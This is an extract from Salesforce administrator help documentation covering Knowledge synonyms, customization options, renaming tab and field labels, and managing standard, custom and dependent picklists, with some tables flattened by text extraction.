Salesforce Knowledge synonyms are words or phrases that are treated as equivalent in article searches, letting you optimize search results. When searching articles, users can enter search terms that don't match any terms in your articles, but are synonymous with those terms. For example, if you define a synonym group with these synonyms: CRM, customer relationship management, Salesforce then a search for customer relationship management matches articles containing customer relationship management, as well as articles containing CRM or Salesforce. When building synonym groups, work with knowledge managers and other subject matter experts in your organization to create relevant synonyms. To view and manage synonyms, click Your Name > Setup > Customize > Search > Knowledge Synonyms. To create a synonym group: 1. Click New. 2. Enter at least two synonyms. A synonym can be any word or phrase. 3. Select at least one language. If the synonyms are specific to a single language, select only that language. For example, if zum biespiel and zB applies to German users only, select only German. If the synonyms apply regardless of the language your users are searching in, select several languages for one synonym group. For example, if the synonym group Business Objects and BO applies to English, German, and Spanish users, select all of these languages. 4. Click Save. You can add up to 300 synonym groups. Note: You can't use the following symbols in synonyms: Symbol * ? " ( ) Description Asterisk Question mark Quotation mark Open parenthesis Closed parenthesis

1066

Customize

Customization Overview

To filter a long list of groups, click Show Filters, then in the Synonyms field, enter part or all of a synonym, and click Apply Filters. To edit a synonym group, click Edit next to the synonym group, then update as needed. To delete a synonym group, click Del next to the synonym group.

See Also:
How Salesforce Knowledge Synonyms Work in Searches Searching for Articles

CUSTOMIZE
Customization Overview
The available customization options vary according to which Salesforce Edition you have.

User Permissions Needed To view setup options: To customize your organization: View Setup and Configuration Customize Application

You can customize each of the standard tabs and types of records, including adding custom fields and setting page layouts. You can also customize search, tagging, and user interface options for your organization. In addition, every Contact Manager, Group, Professional, Enterprise, and Unlimited Edition user can customize various personal display options. To tailor Salesforce for your organization, you can customize the display of the various tabs and other items. Click Your Name > Setup > Customize and then select a link to view the following customization options: Tab Names and Labels Rename the labels for standard Salesforce tabs and fields. Home Add a logo, dashboard, or links to the Home tab and create additional home page layouts for different users. Activities Customize various options for tasks and events such as fields, page layouts, record types, validation rules, search layouts, and buttons. Also, enable or disable functionality like activity reminder popups and recurring events. Campaigns Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. You can also configure Campaign Influence.

1067

Customize

Customization Overview

Campaign Member (Located under Campaigns) Edit fields, create validation rules and triggers, control the layout, and create custom buttons and links. Leads Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. You can also set up lead queues, assignment rules, lead settings, and online lead capture. Accounts Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and custom links, and for Enterprise, Unlimited, and Developer Edition organizations, create record types and set up account teams. Person Accounts (Located under Accounts) Control the layout of fields, related lists, and custom links, and manage record types. Contacts Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. Opportunities Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and custom links, and for Enterprise, Unlimited, and Developer Edition organizations, create record types and set up team selling. Opportunity Products (Located under Opportunities) Customize the standard fields, create custom fields, and control the layout of fields on product pages within the Opportunities tab. Opportunity Teams (Located under Opportunities) Customize the standard fields, create custom fields, and control the layout of fields on opportunity team pages. Add custom look-up related lists to opportunity team and opportunity team parent pages. Quotes Customize the standard picklists, create custom fields and custom links, and control the layout of fields, related lists, and custom links, and create PDF templates and terms and conditions. Quote Line Items (Located under Quotes) Customize the standard fields, create custom fields, and control the layout of fields on quote line item pages. Forecasts Customize your fiscal year settings, forecast period, default view, and forecast hierarchy. These options are only available if your organization has enabled customizable forecasting.

1068

Customize

Customization Overview

Cases Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. You can also set up case queues, case contact roles, assignment, auto-response, and escalation rules, and support settings. Case Team (Located under Cases) Define case teams and case team roles for your organization. Email Messages (Located under Cases) Create triggers for Email-to-Case or On-Demand Email-to-Case messages. Case Comments (Located under Cases) Create triggers for case comments. Case Milestones (Located under Cases) Create validation rules for case milestones. Entitlement Management Set up entitlement management so that support reps can verify if customers are eligible for support and provide the correct service levels to your customers. Entitlements (Located under Entitlement Management) Customize the standard fields, create custom fields and custom links, control the layout of fields, related lists, custom links, and create record types and templates. Entitlement Contacts (Located under Entitlements) Customize the standard fields. Service Contracts (Located under Entitlement Management) Customize the standard fields, create custom fields and custom links, control the layout of fields, related lists, custom links, and create record types. Contract Line Items (Located under Service Contracts) Customize the standard fields, create custom fields and custom links, control the layout of fields, related lists, custom links, and create record types. Self-Service Set up your public solutions, online case capture, and the Self-Service portal. Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations continue to have access to the Self-Service portal.

Call Center Configure the Salesforce CRM Call Center by defining call centers, adding directory numbers, and customizing SoftPhone layouts.

1069

Customize

Customization Overview

Service Cloud Console Customize, extend, or integrate the footer, sidebars, highlights panels, and interaction logs of the Service Cloud console using Visualforce. Contracts Customize the standard picklist, create custom fields and custom links, control the layout of fields, related lists, and custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. You can also set the contract expiration notices for your organization and configure auto-calculation of contract end dates. Solutions You can customize the standard solution picklists, create custom fields and custom links, control the layout of fields, related lists, and custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. Products For Enterprise, Unlimited, and Developer Edition organizations, set up price books, products, and schedules. Partners Configure your partner portal. Salesforce to Salesforce Enable Salesforce to Salesforce business collaboration both within and across Salesforce organizations. Connection Finder (located under Salesforce to Salesforce) Enable the ability to email partners a survey asking if they use Salesforce. Also, customize default template used for the email and logo used for the survey. Customer Portal Enable the Customer Portal for your organization. Chatter Answers Enable Chatter Answers and configure a Force.com site and Customer Portal to host Web communities for your customers. Ideas Customize the standard picklists, create custom fields, and control the layout of fields for Enterprise, Unlimited, and Developer Edition organizations. You can also establish comment validation rules and manage your communities. Idea Themes Manage Idea Themes settings, create custom fields, control the layout of fields, and create custom buttons and links. Assets Customize the standard fields, create custom fields, control the layout of fields on asset pages, set search results layouts, and create custom links. Territories For Enterprise, Unlimited, and Developer Edition organizations, create and edit custom territory fields. Users Create custom fields and custom links for users.

1070

Customize

Customization Overview

Console Create console layouts that display pertinent information to users. Tags Enable personal and public tags for your organization. You can also delete personal tags. Reports & Dashboards Customize user interface and email settings for reports and dashboards. Search Optimize search settings for your organization. Social Accounts and Contacts Enable and configure Social Accounts and Contacts for your organization. User Interface Enable Quick Create, collapsible page sections, related list hover links, and customize the sidebar for your organization, among other options.

1071

Tab Settings

Renaming Tab and Field Labels

TAB SETTINGS
Renaming Tab and Field Labels
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To rename tab and field labels: Customize Application OR View Setup and Configuration AND Be designated as a translator To reset renamed tabs: Customize Application OR View Setup and Configuration AND Be designated as a translator

You can change the display labels of tabs, objects, fields, and other related user interface labels so they better reflect your organization's business requirements. When you rename a label, such as changing the Accounts label to Companies, the new label appears on all user pages, in Connect for Outlook, and in Connect Offline. With rare exception, all pages in the Setup area use the default, original labels. Before renaming tabs, objects, fields, and other related labels, review the implementation tips for administrators. 1. Click Your Name > Setup > Customize > Tab Names and Labels > Rename Tabs and Labels. 2. Select your default language from the Select Language drop-down list at the top of the page. Note: In Hebrew, we recommend keeping tab renaming to a minimum because variable gender in verbs is not supported and verbs can lose gender agreement. 3. Click Edit next to the tab you want to rename. Optionally, click Reset to change the name of your renamed tab to its original name. Note: You cannot reset custom object tab names.

1072

Customize

Renaming Tab and Field Labels

4. Enter the singular and plural forms of the new tab label. Also, if applicable for the language, select the Starts with a vowel sound checkbox for labels that start with a vowel. This ensures that the proper article (such as a or an) is used. Then click Next. A renamed tab or object cannot use the name of another standard tab, custom object, or custom tab. 5. Enter the standard field labels and other user interface labels to be used for the selected tab or object. Be sure to enter both a singular and plural form for each label that requires it. Also, select the Starts with a vowel sound checkbox for labels that start with a vowel. If your organization uses person accounts, see Renaming Person Account Labels on page 1073. Note: Some standard fields, such as Created By and Last Modified By, are purposely omitted from renaming because they track system information. 6. Click Save. 7. Repeat this procedure to translate labels into all other languages used in your organization. Tip: After renaming a tab or object, rename any custom reports, dashboards, profiles, permission sets, custom fields, and list views that contain the original name. You can modify labels using the Translation Workbench. To rename a standard report, click Save As and save it to a folder designed for your new name. Other tab customization options include the following: Individual users can control which tabs and related lists display for their own logins. For more information, see Customizing Your Display on page 42. In addition to the standard tabs provided by Salesforce, users can create entirely new custom tabs depending on their Edition. For more information, see Defining Custom Tabs on page 1861. In Enterprise, Unlimited, and Developer Edition organizations, you can override the tab home page that is displayed when a user clicks a standard or custom object tab. For more information, see Overriding Standard Buttons and Tab Home Pages on page 1290.

Renaming Person Account Labels Person accounts available in: Enterprise, Unlimited, and Developer Editions

If your organization uses person accounts, you can rename the following standard field labels: Field
Business Account

Tab Accounts

Description An account that is not a person account because it does not have a record type specific to person accounts. This label is primarily used to clarify the type of accounts you are importing. A person account. For more information, see below. A contact that is associated with a business account. This label is primarily used to clarify the type of accounts you are importing.

Person Account Business Contact

Accounts Contacts

When you rename the Person Account field label, the renamed label appears in Salesforce as follows:

1073

Customize

Considerations for Renaming Tab and Field Labels

As a prefix to differentiate person account fields such as Birthdate and Home Phone from business account fields. For example, Person Account: Birthdate is available as an account column in opportunity reports. In the name of the Is Person Account field and icon. For example, if you rename the Person Account field to Consumer, then Is Person Account becomes Is Consumer. Note: The Person Account and Business Account field labels are completely independent from actual record type names. To customize person account record types, click Your Name > Setup > Customize > Accounts > Person Accounts > Record Types. To customize business account record types, click Your Name > Setup > Customize > Accounts > Record Types.

See Also:
Replacing Salesforce Online Help Customization Overview What is a Person Account?

Considerations for Renaming Tab and Field Labels


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To rename tab and field labels: To reset renamed tabs: Customize Application Customize Application

Renaming standard and custom Salesforce tabs, objects, fields, and other related user interface labels is a valuable feature that has far-reaching implications for all your users. Before renaming anything for your organization, review the following considerations to determine how it will affect your users: Most standard tabs and objects can be renamed but not all. For example, the Forecasts tab is not available for renaming. Click Your Name > Setup > Customize > Tab Names and Labels > Rename Tabs and Labels to view a list of the tabs and objects you can rename. The renamed labels display on all user pages in Salesforce including Personal Setup. However, all pages in the Setup area use the default, original labels. Some standard fields, such as Created By and Last Modified By, are purposely omitted from renaming because they track system information. After renaming tabs, objects, or fields, check the following additional items that may need manual updates: Review all list view names. List view names continue to display the original object name until you change them manually. Check standard report names and descriptions for the objects you renamed. Update the titles and descriptions of any email templates that contain the original object or field name. Manually change any other items you customized with the standard object or field name. For example, custom fields, page layouts, and record types may contain the original tab or field name.

Connect Offline, Connect for Lotus Notes, Connect for Outlook, and Salesforce for Outlook use your new names.

1074

Fields

Customizing Fields

If you have renamed tabs, objects, or fields, you can also replace the Salesforce online help with another URL. Users can view this URL whenever they click on any context-sensitive help link on an end-user page or within Personal Setup. After you replace the help, the Help & Training link at the very top of every page and all Administration Setup pages will continue to display Salesforce online help. For instructions on replacing the online help, see Replacing Salesforce Online Help on page 1677. In Hebrew, we recommend keeping tab renaming to a minimum because variable gender in verbs is not supported and verbs can lose gender agreement.

See Also:
Renaming Tab and Field Labels

FIELDS
Customizing Fields
Available in: All Editions Standard Fields and Page Layouts are not available in Database.com

User Permissions Needed To create or change custom fields: Customize Application

Customize fields to tailor your organizations unique requirements. You can: Modify some aspects of standard fields Change or add values to custom picklist fields Define dependency rules between fields Create custom fields to capture additional information Create formula fields that automatically calculate values based on the contents of other fields Define default values for custom fields Define validation rules for your fields Make a field required Set fields to track changes, including the date, time, nature of the change, and who made the change Create page layouts to control the display of fields Set field-level security to control access to fields

1075

Customize

Customizing Standard Fields

Create or modify field sets

See Also:
Creating Custom Fields Viewing Fields Overview of Relationships Creating a Many-to-Many Relationship

Customizing Standard Fields


Available in: All Editions except for Database.com.

User Permissions Needed To change standard fields: Customize Application

You can customize several aspects of standard fields, such as the values in picklists, the format for auto-number fields, tracking field history, lookup filters on relationship fields, and field-level help. In Enterprise, Unlimited, and Developer Editions, you can also view details about standard fields and set field-level security.

See Also:
Creating Custom Fields Modifying Standard Auto-Number Fields Viewing Fields Field-Level Security Overview Tracking Field History

Modifying Standard Auto-Number Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To modify standard auto-number fields: Customize Application

The unique identifiers for solutions, cases, and contracts are standard auto-number fields. Each record is assigned a unique number with a specified format upon creation. You can modify the format and numbering for these auto-number fields. 1. Click Your Name > Setup > Customize, select the appropriate tab link, and then click the Fields link.

1076

Customize

Picklist Considerations

2. Click Edit next to the name of the field in the Standard Fields list. 3. Enter a Display Format to control such formatting details as the minimum number of leading zeros as well as any prefix or suffix for the number. See Custom Field Attributes on page 1099. Format changes do not affect existing records; they are applied only to new records. 4. Enter the number to be assigned to the next record that is created after you save your changes. 5. Click Save. Warning: Salesforce warns you if the next number you enter is not higher than existing numbers. However, it may be possible to create duplicate numbers if you change the auto-number format multiple times using similar formats each time.

See Also:
Custom Field Types

Picklist Considerations
Available in: All Editions

User Permissions Needed To change picklists: Customize Application

Customized selection lists, or picklists, let users pick values from a predefined list of entries. You can update the entries in picklists; see Updating Picklists on page 1078. To set up multiple lists of picklist values and make them available for different parts of your organization, see Managing Record Types on page 1300. Using picklists simplifies report filters; instead of manually entering matching values, users can select from a predefined list of picklist values.

See Also:
Sorting Picklists Replacing Picklist Values Defining Dependent Picklists

1077

Customize

Picklist Considerations

Updating Picklists
Available in: All Editions Standard Objects are not available in Database.com

User Permissions Needed To change picklists: Customize Application

To update any picklist field: 1. Navigate to the fields page for your object. For example, for account fields, click Your Name > Setup > Customize > Accounts > Fields. For custom objects, click Your Name > Setup > Create > Objects, then click the name of an object. For Knowledge validation status picklists, click Your Name > Setup > Customize > Knowledge > Validation Statuses. 2. In the Custom Fields & Relationships related list, click the name of the picklist field you want to update. 3. In the Picklist Values section, click Edit next to a value. 4. In the Picklist Edit page, you can change the name of the value and make the value the default for the master picklist. You can also assign a color for use in charts by clicking the click Assign color dynamically. button. To assign a color dynamically when a chart is generated,

Note: Chart colors aren't available for multi-select picklists, currency picklists, or Task Subject, Event Subject, Knowledge Validation Status, and Opportunity Competitor picklists. Tip: Some special picklists, such as Task Priority, Stage, or Partner Role, have additional information that you can edit. If you use record types, changing the default value of the master picklist does not affect the default value of the picklist for a record type. For Ideas, setting the default value of the Categories or Status picklists does not affect the default value on the Ideas pages. If you change the label for a picklist value that is used as a filter criteria on a report, the picklist value is automatically removed from the filter criteria. For example, if your report contains a filter where Lead Source equals Email or Web and you change the picklist value Web to Referral, your report filter will change to Lead Source equals Email. If the changed picklist value was the only value specified for a particular filter, it will continue to show up in your report filters, but an error will display on the report wizard.

5. Click Save.

1078

Customize

Picklist Considerations

Note: If your organization uses the Translation Workbench, notify your translators that the translations may be out of date whenever you change picklist values.

See Also:
Picklist Considerations Picklists with Additional Information Picklist Limitations Additional Options for Updating Picklists

Additional Options for Updating Picklists


Use the following options to edit picklist values. Click Rename next to a value to change the name, make it the default picklist value, assign a color to use on charts, or change additional information. Click Del next to a value to remove it from the picklist. Special picklistssuch as opportunity Stage, Task Priority, Task Status, Lead Status, and Case Statusmay prompt you to map the deleted value to another existing value in all of your organizations records. You can map the values or leave your existing data unchanged. Click New to add values to the picklist. If you use record types, select any record types that you want to include the new values. Click Reorder to change the sequence of picklist values. Click Replace to change the values of picklist fields in existing records. Click Printable View to open an easy-to-print list of your picklist values. Click Chart Colors and select an option to assign colors to picklist values for use in charts: Assign fixed colors to all values assigns a fixed color to each value from the standard set of chart colors. The Chart Colors column shows the assigned colors. Manually change assigned colors by editing picklist values. For example, if you want Closed Lost values to always show up as red in charts grouped by Opportunity Stage, assign red to that picklist value. Assign colors to values dynamically assigns colors when a chart is generated. The Chart Colors column shows Assigned dynamically for all colors. Assign fixed colors by editing picklist values. For example, if you only need certain picklist values to show up as fixed colors in charts, manually assign colors to those values and leave the rest as Assigned dynamically. Manual assignments are overridden each time you click an option in Chart Colors. Note: Chart colors aren't available for multi-select picklists, currency picklists, or Task Subject, Event Subject, Knowledge Validation Status, and Opportunity Competitor picklists.

1079

Customize

Picklist Considerations

For organizations using record types, this picklist is a master picklist. You can include some or all of the values from the master picklist in different record types to offer a subset of values to users based on their profile. See Managing Record Types.

See Also:
Custom Field Attributes Picklist Considerations Updating Picklists

Picklists with Additional Information


These standard picklist fields have additional information that you can edit. Picklist
Partner Role (for accounts)

Description Roles of account partners, for example, Consultant, Supplier. These options are available when you add an account to the Partners related list of an account or opportunity. To edit, click Your Name > Setup > Customize > Accounts > Partner Roles. Enter the name of the partner role in the Role column. In the Reverse Role column, enter the corresponding reverse partner role. Assigning a partner role to an account creates a reverse partner relationship so that both accounts list the other as a partner. Each role and reverse role value can have up to 40 characters.

Priority (for cases)

Urgency of case, for example, Low, High. If you delete a value, you have the option to map the deleted value to another existing value in all of your organizations cases. Each picklist value can have up to 40 characters.

Status (for campaign members)

State of a campaign member, for example, Sent or Responded. If you delete a Status value, you have the option to map the deleted value to another existing value. The new replacement value is automatically added to the member status for campaigns that contained the deleted value. If the deleted value is the default member status for a campaign, the new replacement value becomes the default status for that campaign.

1080

Customize

Picklist Considerations

Picklist
Status (for cases)

Description State of case, for example, New, On Hold. If you delete a value, you have the option to map the deleted value to another existing value in all of your organizations cases. Each picklist value can have up to 40 characters.

Status (for contracts)

State of the contract in the contract business process. You can add values to this picklist and organize each value into one of several categories, for example, Draft, In Approval Process, or Activated. Then sort your contracts using these categories in reports and views. Role of a contact on a contract, for example, Business User, Decision Maker. These options are available when you add a contact to the Contact Roles related list of a contract. To edit, click Your Name > Setup > Customize > Contracts > Contact Roles. Each picklist value can have up to 40 characters.

Contact Role (for contracts)

Lead Status (for leads)

State of the lead, for example, Open, Qualified. Select one value as the Default Status assigned to all new leads created manually, via the import wizard, or via your website. Select one or more values as the Converted Status assigned to converted leads. When you convert qualified leads into an account, contact, and opportunity, you can select one of the Converted statuses to assign to the lead. Leads with a Converted status type are no longer available in the Leads tab, although you can include them in reports. If you delete a value, you have the option to map the deleted value to another existing value in all of your organizations leads. Each value can have up to 20 characters.

Contact Role (for opportunities)

Role of a contact for an opportunity, for example, Business User, Decision Maker. These options are available when you add a contact to the Contact Roles related list of an opportunity. To edit, click Your Name > Setup > Customize > Opportunities > Contact Roles. Each picklist value can have up to 40 characters.

Stage (for opportunities)

Sales process stages, for example, Prospect, Proposal. This picklist also affects the Type and Forecast Category values of an opportunity. Specifically, changing the Type or

1081

Customize

Picklist Considerations

Picklist

Description
Forecast Category for a Stage picklist value updates all

opportunities that have that stage value. To edit, click Your Name > Setup > Customize > Opportunities > Fields, and select Edit next to the field. To deactivate an active stage, click Del next to the stage. On the mapping page, don't replace the stage with another existing value; just click Save. The stage now appears in the Inactive Stage Picklist Values related list. The stage is no longer in use but may exist in older opportunity records.
Status (for solutions)

Status of a solution, for example, Draft, Reviewed. Mark one or more values as Reviewed. When users solve cases using solutions, they can view which solutions have been reviewed and which have not. Each picklist value can have up to 40 characters. Importance of the task, for example, High, Normal, Low. Set one value as the default priority of all new tasks, and one value as the highest priority. If you delete a value, you have the option to map the deleted value to another existing value in all of your organizations tasks. Each picklist value can have up to 20 characters.

Priority (for tasks)

Status (for tasks)

State of a task, for example, Not Started, Completed. Choose at least one value as the Closed status and one value as the Default status for all new tasks. If you delete a value, you have the option to map the deleted value to another existing value in all of your organizations tasks. Each picklist value can have up to 40 characters.

Task Type (for tasks)

Send Email Default specifies the default task type

assigned when the task is sending email or mass email, and when tasks are created via inbound email, such as Email to Salesforce. Default specifies the default picklist value when creating tasks.

1082

Customize

Picklist Considerations

Picklist

Description To edit, click Your Name > Setup > Customize > Activities > Task Fields, and select Edit next to the picklist value you want to specify as the default.

See Also:
Picklist Considerations Picklist Limitations

Picklist Limitations
Available in: All Editions Standard Picklists are not available in Database.com

User Permissions Needed To change picklists: Customize Application

The maximum number of entries you can have in a picklist is determined by the total number of characters allowed in the picklist, which is 15,000 characters. Note that each entry includes a linebreak and a return character that are not visible. These two additional characters per entry are counted as part of the 15,000 character limit. Additional limits apply to both standard and custom picklists. Additional Limits for Standard Picklists For standard picklists, entries can be up to 40 characters, not including linebreaks and returns. For standard multi-select picklists, the total number of characters for all entries cannot exceed 255. For standard picklists in organizations that use record types or the Translation Workbench, you can have an unlimited number of entries with the following exceptions for special picklists. Picklist Field
Lead Status Task Status Task Priority Case Status Case Priority Opportunity Stage

Maximum Number of Entries 100 100 50 100 50 100

1083

Customize

Defining Dependent Picklists

Additional Limits for Custom Picklists Within the 15,000 total character limit, custom picklists can have: Up to 1,000 entries Up to 255 characters per entry

Custom multi-select picklists can have: Up to 150 values Up to 40 characters per value

Note that for multi-select picklists, users can select up to 100 values at a time on a record.

See Also:
Picklist Considerations

Defining Dependent Picklists


Available in: All Editions Standard Objects are not available in Database.com

User Permissions Needed To define dependent picklists: Customize Application

To define a dependent picklist: 1. Navigate to the fields area of the appropriate object. For standard objects, click Your Name > Setup > Customize, select the appropriate object, and click Fields. For custom task and event fields, click Your Name > Setup > Customize > Activities > Activity Custom Fields. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list. For custom settings, click Your Name > Setup > Develop > Custom Settings, and click the name of the custom setting.

2. Click Field Dependencies. 3. Click New. 4. Choose a controlling field and dependent field. Note: Some picklist and checkbox fields may not be available as controlling fields. For a complete list of these fields, see Dependent Picklist Considerations on page 1088. 5. Click Continue. 6. Use the field dependency matrix to specify the dependent picklist values that are available when a user selects each controlling field value.

1084

Customize

Defining Dependent Picklists

7. Optionally, click Preview to test your selections. If your organization uses record types, choose a record type to test how it affects your controlling and dependent picklist values. The record type controls what values are available in the controlling field. The record type and the controlling field together determine what values are available in the dependent pickilst. For example, a dependent value is only available if it is available in the selected record type as well as the selected controlling value. Note: The Filter by Record Type option does not appear in the Preview window for activity custom fields.

8. Click Save. 9. If your organization uses record types, make sure that your controlling and dependent picklist values are available in the appropriate record types. For instructions on using record types, see Managing Record Types on page 1300.

See Also:
Dependent Picklist Considerations Editing Dependent Picklists Deleting Picklist Dependencies

About Dependent Picklists


Available in: All Editions

Use dependent picklists to help your users enter accurate and consistent data. A dependent picklist is a custom or multi-select picklist for which the valid values depend on the value of another field, called the controlling field. Controlling fields can be any picklist (with at least one and fewer than 300 values) or checkbox field on the same record. For example, you can define a Reason custom picklist on opportunities and make its valid values depend on the value of the Stage picklist as follows: If Stage is Closed Won, the valid values for Reason are Superior features or Lower price. If Stage is Closed Lost, the valid values for Reason are Inferior features, Higher price, or Company viability.

See Also:
Defining Dependent Picklists Dependent Picklist Considerations

1085

Customize

Defining Dependent Picklists

Using the Field Dependency Matrix


Available in: All Editions

User Permissions Needed To define picklist dependencies: Customize Application

The field dependency matrix lets you specify the dependent picklist values that are available when a user selects each controlling field value. The top row of the matrix contains the controlling field values, while the columns list the dependent field values. Use this matrix to include or exclude values. Included values are available in the dependent picklist when a value in the controlling field is selected. Excluded fields are not available in the dependent picklist for the selected controlling field value. To include or exclude values: Double-click values to include them. Included values are indicated with highlighting. Double-click any highlighted values to exclude them. Click a value and use SHIFT+click on another value to select a range of adjacent values. Then click Include Values to make the values available, or Exclude Values to remove them from the list of available values. Click a value and use CTRL+click to select multiple values. Then click Include Values to make the values available, or Exclude Values to remove them from the list of available values. Click a column header to select all the values in that column. Then click Include Values to make the values available, or Exclude Values to remove them from the list of available values.

To change the values in your view: Click View All to view all available values at once. Click Go To and choose a controlling value to view all the dependent values in that column. Click Previous or Next to view the values in columns that are on the previous or next page. Click View sets of 5 to view 5 columns at a time.

Editing Dependent Picklists


Available in: All Editions

User Permissions Needed To edit field dependencies: Customize Application

To edit dependent picklists: 1. Navigate to the fields area of the appropriate object.

1086

Customize

Defining Dependent Picklists

For standard objects, click Your Name > Setup > Customize, select the appropriate object, and click Fields. For custom task and event fields, click Your Name > Setup > Customize > Activities > Activity Custom Fields. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list. For custom settings, click Your Name > Setup > Develop > Custom Settings, and click the name of the custom setting.

2. Click Field Dependencies. 3. Click Edit next to the field dependency relationship you want to change. 4. Use the field dependency matrix to specify the dependent picklist values that are available when a user selects each controlling field value. 5. Optionally, click Preview to test your selections. 6. Click Save.

See Also:
About Dependent Picklists

Deleting Picklist Dependencies


Available in: All Editions

User Permissions Needed To delete picklist dependencies: Customize Application

If you no longer want the values of a dependent picklist to depend on a controlling field, delete its dependency. Deleting the dependency removes the logic that defines how the values of the picklist depend on the controlling field, but doesn't delete the fields or affect their data. To delete picklist dependencies: 1. 2. 3. 4. 5. For standard objects, click Your Name > Setup > Customize, select the appropriate object, and click Fields. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list. Click Field Dependencies. Click Del next to the field dependency relationship you want to delete. Click OK to confirm.

See Also:
About Dependent Picklists

1087

Customize

Defining Dependent Picklists

Dependent Picklist Considerations


Available in: All Editions Page Layouts and Leads are not available in Database.com

User Permissions Needed To define and edit dependent picklists: Customize Application

Consider the following when defining dependent picklists: Checkboxes Checkbox fields can be controlling fields but not dependent fields. Converting fields Convert your existing fields to dependent picklists or controlling fields without affecting the existing values in your records. Going forward, dependency rules apply to any changes to existing records or new records. Default values You can set default values for controlling fields but not for dependent picklists. Field-level security Field-level security settings for a controlling field and dependent picklist are completely independent. Remember to hide controlling fields whenever its correlating dependent picklist is hidden. Import The import wizards do not consider field dependencies. Any value can be imported into a dependent picklist regardless of the value imported for a controlling field. Lead conversion If you create a dependency for lead fields that map to account, contact, and opportunity fields for lead conversion, create the same dependency on the account, contact, or opportunity as well. Dependent picklists and controlling lead fields can be mapped to account, contact, or opportunity fields with different dependency rules. Multi-select picklists Multi-select picklists can be dependent picklists but not controlling fields. Connect Offline While controlling fields and dependent picklists are available in Connect Offline, the logic between them is not. Page layouts Make sure controlling fields exist on any page layout that contains their associated dependent picklist. When the controlling field is not on the same page layout, the dependent picklist shows no available values. For visually-impaired users, make sure the dependent picklist is lower on the page layout than its controlling field.

1088

Customize

Defining Dependent Picklists

If a dependent picklist is required and no values are available for it based on the controlling field value, users can save the record without entering a value. The record is saved with no value for that field. Picklist limitations Custom picklist fields can be either controlling or dependent fields. Standard picklist fields can be controlling fields but not dependent fields. The maximum number of values allowed in a controlling field is 300. In addition, if a field is both a controlling field and dependent picklist, it can't contain more than 300 values. Before defining a dependency, make sure your picklist has at least one value; standard fields like Product Family do not contain any values until you add them. If a standard controlling field relies on functionality that your organization decides to disable, the dependency rules for the picklist will go away. For example, if your organization disables the Self-Service portal and the Closed by Self-Service User is a controlling field, its dependent picklist will display all available values. The following fields are not available as controlling fields: Activity Fields
Call Type Create recurring series of events Show Time As Subject Task Type

Contact Fields
Salutation Contact Currency

Custom Object Fields


Currency

Lead Fields
Converted Unread By Owner

Record types The values in your controlling fields are determined by the record type selected. The values in your dependent picklists are determined by the record type and controlling field value selected. In short, the values available in dependent picklists are an intersection of the record type and controlling field selections. For more information on record types, see Managing Record Types on page 1300.

See Also:
About Dependent Picklists

1089

Customize

Sorting Picklists

Sorting Picklists
Available in: All Editions

User Permissions Needed To sort picklists: Customize Application

You can sort the values of picklist fields. 1. Navigate to the appropriate object: 2. 3. 4. 5. 6. For standard objects, click Your Name > Setup > Customize, select the appropriate object, and click Fields. For custom task and event fields, click Your Name > Setup > Customize > Activities > Activity Custom Fields. For standard task and event fields, click Your Name > Setup > Customize > Activities, then click Task Fields or Event Fields. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list. For Knowledge validation status picklists, click Your Name > Setup > Customize > Knowledge > Validation Statuses.

Click Edit next to the picklist you want to update. Click Reorder. Use the arrows to arrange the field in the proper sequence. Select a default, if desired. Check the box to alphabetize the entries for users on edit pages. The entries will always appear in alphabetical order, regardless of the users language. 7. Click Save. Note: On record edit and detail pages and in reports, picklist and multi-select picklist fields may include inactive values. These inactive values are sorted last, unless you have chosen alphabetical sorting. In that case, all values are sorted alphabetically.

See Also:
Picklist Considerations

1090

Customize

Replacing Picklist Values

Replacing Picklist Values


Available in: All Editions

User Permissions Needed To replace picklist values: Customize Application

You may need to replace a picklist value with another. For example, your status picklist has five values (Open, In Progress, Closed-red, Closed-yellow, and Closed-green) and you want to simplify it to three values (Open, In Progress, and Closed). You need to replace the Closed-red, Closed-yellow, and Closed-green values with a new value: Closed. Note: Replacing an existing picklist value also changes the Modified By date and time for the record.

To globally replace the values of picklist fields in existing records follow the steps below. 1. If necessary, create the replacement value in the picklist edit page. See Updating Picklists. 2. Navigate to the fields area of the appropriate object: 3. 4. 5. 6. For standard objects, click Your Name > Setup > Customize, select the appropriate object, and click Fields. For custom task and event fields, click Your Name > Setup > Customize > Activities > Activity Custom Fields. For standard task and event fields, click Your Name > Setup > Customize > Activities, then click Task Fields or Event Fields. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list. For Knowledge validation status picklists, click Your Name > Setup > Customize > Knowledge > Validation Statuses.

Click Replace next to the picklist. Type the exact value you want to change, and select a new replacement value. To apply the new value on any records with a blank value in this field, check Replace all blank values. To update all occurrences of the value in your organizations records with the new value, click Replace. Occurrences in the Recycle Bin are also updated. 7. On the Replace Picklist Confirmation page, click Finished. Note: If you replace the Stage picklist for opportunities, the Probability, Forecast Category, and Expected Revenue fields are also updated with the corresponding values.

See Also:
Picklist Considerations

1091

Customize

About Custom Fields

About Custom Fields


Available in: All Editions Tabs are not available in Database.com

User Permissions Needed To create or change custom fields: Customize Application

